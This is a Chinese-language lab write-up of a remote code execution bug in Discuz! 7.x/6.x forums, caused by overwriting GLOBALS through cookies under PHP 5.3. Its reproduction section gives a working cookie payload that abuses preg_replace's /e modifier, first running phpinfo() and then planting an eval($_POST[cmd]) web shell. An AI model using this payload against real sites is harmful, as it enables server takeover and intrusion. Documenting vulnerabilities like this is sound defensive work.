Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞
概述
Discuz! 是一款流行的中文社区论坛软件系统。站长可以不需要任何编程基础,通过简单的安装和设置,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的网站。
在 Discuz 7.x/6.x 版本中存在一个由于全局变量保护不足导致的远程代码执行漏洞,主要是由于 php5.3.x 版本里 php.ini 的设置里 request_order
默认值为 GP,导致 $_REQUEST
中不再包含 $_COOKIE
,导致可以通过在 Cookie 中传入 $GLOBALS
来覆盖全局变量,造成代码执行漏洞。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8080/install/来安装 Discuz!,安装中使用如下配置:
- 数据库地址:
db
- 数据库名:
discuz
- 数据库账号:
root
- 数据库密码:
root
完成以上步骤,此时靶场搭建完成。
进入主页以后,随便进入一个板块,点击进入一个帖子,例如:
http://192.168.2.243:8080/viewthread.php?tid=13&extra=page%3D1
向该网址发送一个数据包,并在 Cookie 中增加 Payload:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
即可执行相关代码。
尝试反弹 WebShell。
将命令修改为 eval($_POST[cmd])
,那么在请求体中传入参数 cmd
即可执行命令。
不知道为什么,执行修改为 system('id')
却无法执行命令,留置以后思考。